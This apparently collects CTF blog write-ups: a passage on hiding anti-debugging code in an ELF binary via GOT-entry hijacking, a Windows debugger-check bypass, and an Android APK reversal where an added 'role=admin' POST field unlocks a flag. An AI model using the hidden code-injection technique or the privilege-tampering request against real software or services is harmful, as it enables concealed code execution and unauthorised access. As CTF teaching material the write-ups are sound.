Now we take a look at the "anti_ptrace" function. It tests if the environment variable "LD_PRELOAD" is set and increases the "anti_ptrace_var" variable accordingly. Also it checks if a child process can attach to the parent process via ptrace. When the child process can not attach, ptrace is already used by a debugger like GDB or the IDA debugger. So the "anti_ptrace_var" variable is increased when the attaching fails. Long story short, this function just tries to detect some debugging techniques and changes the "anti_ptrace_var" variable accordingly. And when the "anti_ptrace_var" variable is changed, then the calculation of the flag is altered too. As a result, a wrong flag is calculated.

This would be very easy to detect and patch out. So how can we hide this anti debugging function? The idea for this came when I tried to learn some things about the ELF format. I wrote a parser library in python to understand the format and soon it got some manipulation features. I published the incomplete library I used at github after the CTF was finished. An ELF binary contains "sections" and "segments". Most analysis tools interpret only the "sections" of the binary (like IDA when you do not change the default settings). But the Linux loader uses the "segments" to load the binary and execute it. "Sections" itself are not important to execute an ELF binary and are optional. They are just used for debugging purposes. So the idea was to manipulate the binary in such a way, that the code resides in a "segment" but not in a "section".

I wrote two different assembler functions for anti-debugging purposes. The first one:


push   ebp
mov    ebp,esp
sub    esp,0x28
call   gotRepairDataMemoryAddr
mov    DWORD PTR [esp], ldPreloadStringMemoryAddr
call   8048450 <getenv@plt>
test   eax,eax
je     logical_label1
mov    eax, antiPtraceVarMemAddr
add    eax,0x1
mov    antiPtraceVarMemAddr, eax
logical_label1:
call   80484a0 <fork@plt>
mov    DWORD PTR [ebp-0xc],eax
cmp    DWORD PTR [ebp-0xc],0x0
je     logical_label2
lea    eax,[ebp-0x14]           ; only reached by parent
mov    DWORD PTR [esp],eax
call   8048440 <wait@plt>
mov    eax, antiPtraceVarMemAddr        ; increase anti_ptrace variable without detecting ptrace
add    eax,0x1
mov    antiPtraceVarMemAddr, eax
mov    eax,DWORD PTR [ebp-0x14]         ; evaluate wait() status code (ptrace found?)
test   eax,eax
je     logical_label4
mov    DWORD PTR [esp],0x1
call   8048430 <sleep@plt>
mov    eax, antiPtraceVarMemAddr
add    eax,0x1
mov    antiPtraceVarMemAddr, eax
jmp    logical_label4
logical_label2:         ; only reached by child
call   80484b0 <getppid@plt>
mov    DWORD PTR [ebp-0x10],eax
mov    DWORD PTR [esp+0xc],0x0
mov    DWORD PTR [esp+0x8],0x0
mov    eax,DWORD PTR [ebp-0x10]
mov    DWORD PTR [esp+0x4],eax
mov    DWORD PTR [esp],0x10
call   80484c0 <ptrace@plt>
test   eax,eax
jns    logical_label3
mov    DWORD PTR [esp],0x1
call   8048480 <exit@plt>
logical_label3:
mov    DWORD PTR [esp],0x1
call   8048430 <sleep@plt>
mov    DWORD PTR [esp+0xc],0x0
mov    DWORD PTR [esp+0x8],0x0
mov    eax,DWORD PTR [ebp-0x10]
mov    DWORD PTR [esp+0x4],eax
mov    DWORD PTR [esp],0x11
call   80484c0 <ptrace@plt>
mov    DWORD PTR [esp],0x0
call   8048480 <exit@plt>
logical_label4:
nop
leave
 


This is basically the same as the "anti_ptrace" function. The only two differences are, that this function calls the address "gotRepairDataMemoryAddr" first (I explain later what this does) and it always increases the "anti_ptrace_var" variable by one. This means that this function changes the "anti_ptrace_var" variable not only if a debugger was found and have to be considered in the calculation of the correct flag.

The second function:


push eax
push ecx
call   gotRepairDataMemoryAddr
mov eax, len(putsData)-1
puts_start_label:
mov cl, [eax+ putsDataMemoryAddr ]
cmp cl, 0xcc
jne puts_logical_label1
push eax
mov    eax, antiPtraceVarMemAddr
eax,0x1
antiPtraceVarMemAddr, eax
pop eax
puts_logical_label1:
cmp eax, 0
je puts_end_label
dec eax
jmp puts_start_label
puts_end_label:
mov eax, len(strlenData)-1
strlen_start_label:
mov cl, [eax+ strlenDataMemoryAddr ]
cmp cl, 0xcc
jne strlen_logical_label1
push eax
eax, antiPtraceVarMemAddr
eax,0x1
antiPtraceVarMemAddr, eax
pop eax
strlen_logical_label1:
cmp eax, 0
je strlen_end_label
dec eax
jmp strlen_start_label
strlen_end_label:
pop ecx
pop eax
 


This function calls the "gotRepairDataMemoryAddr" memory address first, then searches for 0xcc bytes at a specific memory range and increases the "anti_ptrace_var" variable every time a 0xcc was found. 0xcc bytes are used for software breakpoints in debugger.

These are basically the two anti debugging functions we want to hide in the memory with the idea explained above. But now the question: how can we execute these functions without anyone to notice?

For this we can use the GOT (Global Offset Table). The GOT stores the memory addresses to external functions like printf(). These memory addresses are used to call the external function. But when the binary is executed and an external function is called the first time, the memory address of the external function is not known. In order to find the memory address of the external function dynamically during the execution the PLT (Procedure Linkage Table) is used. Normally, the GOT entry for an external function holds the memory address of the PLT entry +6 (under x86). When we call an external function (for example with "call printf") the control flow jumps to the PLT which then will jump to the memory address that is stored in the GOT for this external function. If the external function is called for the first time, then we will jump to the same PLT entry +6 and some linking black magic will then happen that sets the correct memory address in the GOT entry and executes the external function. Now when the same external function is called again, the PLT entry will directly jump to the GOT entry value (which was correctly set to the memory address of the external function by the linking black magic). This was a short description how the dynamic linking of external functions works under Linux. There is plenty of material for more details if you are interested. But to give an example, here a copy & paste from GDB:


;The PLT for abort:
0x80495b8 <abort@plt>:  jmp    DWORD PTR ds:0x8060098
0x80495be <abort@plt+6>:        push   0x0
0x80495c3 <abort@plt+11>:       jmp    0x80495a8

;The initial GOT entry for abort:
0x8060098 <abort@got.plt>:      0x080495be

;Some arbitrary call of abort:
0x804d8d1 call   80495b8 <abort@plt>

;After abort() is called the first time, the GOT entry for abort will change:
0x8060098 <abort@got.plt>:      0x07044588
 


Ok back to the challenge. The memory address of the initial GOT entries are stored in the ELF binary (the ones that point the the PLT). So we can replace them with the memory addresses of our code and a call to an external function like printf() would execute our code. Analysis tools often do not show these addresses (or the analyst will usually not check them). So it is hidden pretty well when static analysis is used. But to also execute the code of the correct external function we have to jump back to the PLT +6 memory address of the hijacked external function. The problem with this is, that the dynamic linking process will overwrite our hijacked GOT entry and the code can only be executed when the external function is called the first time.

To solve this problem the two functions explained above call first the "gotRepairDataMemoryAddr" memory address. The code that resides at this address looks like this:


push eax
mov eax, putsDataMemoryAddr
mov [putsGotMemoryAddr], eax
mov eax, printfDataMemoryAddr
mov [printfGotMemoryAddr], eax
mov eax, mallocDataMemoryAddr
mov [mallocGotMemoryAddr], eax
mov eax, strlenDataMemoryAddr
mov [strlenGotMemoryAddr], eax
pop eax
ret
 


This function overwrites all hijacked GOT entries with the memory addresses to our code. In the ELF challenge the external functions "puts", "printf", "malloc" and "strlen" are hijacked. So this function overwrites the GOT entries of these four external functions with the memory addresses to our code. But this is done during the execution of our code. This means that the dynamic linking process will overwrite the GOT entry of the external function just executed afterwards. As a result, the same hijacked function can not be called twice in a row. For example if strlen() is executed and after that strlen() is executed again, our code will only be executed the first time. If the execution is strlen(), malloc(), strlen(), then our code for strlen() will be executed twice because the call of malloc() will restore the GOT entry to our hidden code.

The ELF challenge uses the code that checks for 0xcc bytes for "malloc" and "printf". For "puts" and "strlen" the anti ptrace code is used. The memory ranges that are checked by "malloc" and "printf" are the memory addresses of the code of "puts" and "strlen". This means that "malloc" and "printf" check if a software breakpoint was set in the code of "puts" and "strlen". In order to increase the value of the "anti_ptrace_var" variable every time "malloc" and "printf" are called, a 0xcc byte was placed manually in the "puts" and "strlen" code.

Ok, we finally have all our code and ideas together. We have to keep in mind that every call of our hijacked functions changes the "anti_ptrace_var" variable during the calculation. The last thing that is missing is a way to inject our code. I wrote this script that uses my python manipulation library and injects our code. The script uses the free space in memory of the executable "segment" (which exists because of the padding) and injects the new code there. In order to work correctly, the "segments" and "sections" in the ELF binary file itself have to be moved around (and the memory addresses of all "segments"/"sections" have to stay the same).

After that, we have to adjust the fixed values in the binary that are used to check if the flag is correct. This means we have to consider the changes our injected code does. For this we can use an arbitrary HEX editor and the challenge is finished (during the creation I just used the existing printf() to get the correct values).

One problem that I encountered during the tests was, that the injected code got a segmentation fault while executing "push eax" or "call gotRepairDataMemoryAddr". The only explanation I had was, that the stack was not writeable at this position. I do not know why or how I can change the stack position in the ELF binary. But to solve this problem I have to add some pointless calculations in the C code. For someone who wants to solve this challenge it looks like obfuscation, but it was only inserted to move the stack around.
Categories: CTF

csaw 2013 reversing 200 write up

This was an easy reversing challenge. You got the "csaw2013reversing2.exe" and have to find the key.

Ok, first thing we did, we just executed it in a VM. The file crashed. To get the reason why it crashed, we started it with ollydbg and we got a text box. Ok, this means the code checks if a debugger is present.

We set a breakpoint in the beginning of the .text section and started the code. When we reached the breakpoint, we single stepped it.



The first important thing were these instructions:


mov eax, dword ptr fs:[18] ; TEB
mov eax, dword ptr ds:[eax+30] ; PEB
movzx eax, byte ptr ds:[eax+2] ; BeingDebugged
cmp eax, ebx
jne short 0035106e
 


The first instruction loads the address to the TEB (Thread Environment Block) in the EAX register. The next instruction loads the address to the PEB (Process Environment Block) in the EAX register. Then the BeeingDebugged flag is loaded in EAX and compared if it is set (EBX is 0x0 at this point). When the BeeingDebugged flag is set, then the jump is taken.

So we just stepped to the "jne" instruction and set the Z-flag to 1 with ollydbg. This means that the jump is not taken. We ignored the first loop and just looked at the second one, because there was a "xor" instruction used ("xor" in a loop means usally that some crypto is done).


xor dword ptr ds:[ecx*4+esi], 8899aabb
inc ecx
cmp ecx, eax
jb short 00351062
 


We looked at the memory data at the "[ecx*4+esi]" address and single stepped through the loop because the data at this position were xor'ed. And black magic ... the flag appeared.



The solution was:


number2isalittlebitharder:p


Categories: CTF

csaw 2013 web 300 write up

In this challenge you got the "herpderper.apk". I used the Android Reverse Engineering VM from The Honeynet Project to solve this challenge.

With the help of apktool, smali, dex2jar, jar and jad we generated readable Java code.

Now let's take a look at the important code parts.

In the "AuthRequest.jad" we find the arguments that are used for the HTTP POST request:


httpurlconnection = (HttpURLConnection)url1.openConnection();
httpurlconnection.setDoOutput(true);
httpurlconnection.setRequestMethod("POST");
TrustModifier.relaxHostChecking(httpurlconnection);
OutputStream outputstream = httpurlconnection.getOutputStream();
String s3 = Base64.encodeToString(as[1].getBytes("UTF-8"), 0);
String s4 = Base64.encodeToString(as[2].getBytes("UTF-8"), 0);
String s5 = s3.replace("\n", "").replace("\r", "");
String s6 = s4.replace("\n", "").replace("\r", "");
outputstream.write((new StringBuilder()).append("identity=").append(s5).append("&secret=").append(s6).append("&integrityid=").append(as[3]).toString().getBytes());
outputstream.close();
httpurlconnection.connect();
 


They are "identity", "secret" and "integrityid". The "identity" and "secret" is send base64 encoded. Ok now, what is used for these arguments?

In the "SuperSecretAuthorizationActivity.jad" we find the following:


String as[] = new String[4];
as[0] = getString(0x7f040011);
as[1] = mEmail;
as[2] = mPassword;
as[3] = sigChar();
authreq.execute(as);
 


"authreq" is an object from the class "AuthRequest". This means that an eMail address is used for the "identity" argument of the POST request, a password for the "secret" argument (you don't say ;-) ) and something from the "sigChar()" function for the "integrityid" argument. We did not find any hardcoded email address or password so we have to try to hack the web service when we got everything together.

Ok, now let's take a look what the "sigChar()" function does:


public String sigChar()
{
        String s;
        try
        {
            s = new String(getPackageManager().getPackageInfo(getPackageName(), 64).signatures[0].toChars());
        }
        catch(Exception exception)
        {
            return null;
        }
        return s;
}
 


We have no clue about Android RE so we read all the stuff up in the online android documentation. In the end this will get the signature of the "herpderper.apk". Now we have to find a way to get this signature. We found this helpful little page and just used the java code in eclipse with the "herpderper.apk" as argument. This calculated us the signature of the apk.

The url to the webservice was in the strings xml file of the apk. The webservice could be found under "https://webchal.isis.poly.edu/csaw.php". When we just used the browser with a normal GET request we got a message back that we have to use the client app. The client app used a POST request to communicate to the webservice and so we just made one with our browser. This time we got a JSON query back. When we generated a POST request with an identity, secret and the integrityid we got a response like this back:


{"response":{"status":"failure","msg":"Login failed"},"timeStamp":"1379249928","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"0a92fab3230134cca6eadd9898325b9b2ae67998","role":"anonymous","accessToken":"YW5vbnltb3VzOmFub255bW91czp3ZWJjaGFsLmlzaXMucG9seS5lZHU="}}


First we tried everything to find a SQLi or something like this. But we were not lucky. After a while we got frustrated an just guessed. In the response there was a "role=anonymous" and we just send additionally a "role=base64(admin)" in our POST request and got the following response:


{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp":"1379249669","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"0a92fab3230134cca6eadd9898325b9b2ae67998","role":"admin","accessToken":"YW5vbnltb3VzOmFkbWluOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}}


Ok, this was the solution. For me it was just guessing (because the client app did not send the role with it).

Here the complete body for a POST request that solved this challenge:


identity=YW5vbnltb3Vz&secret=d2ViY2hhbC5pc2lzLnBvbHkuZWR1&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d
3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010
101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff85556125
8a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e26786116107
5d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279
b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e
84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9&role=YWRtaW4%3D

Categories: CTF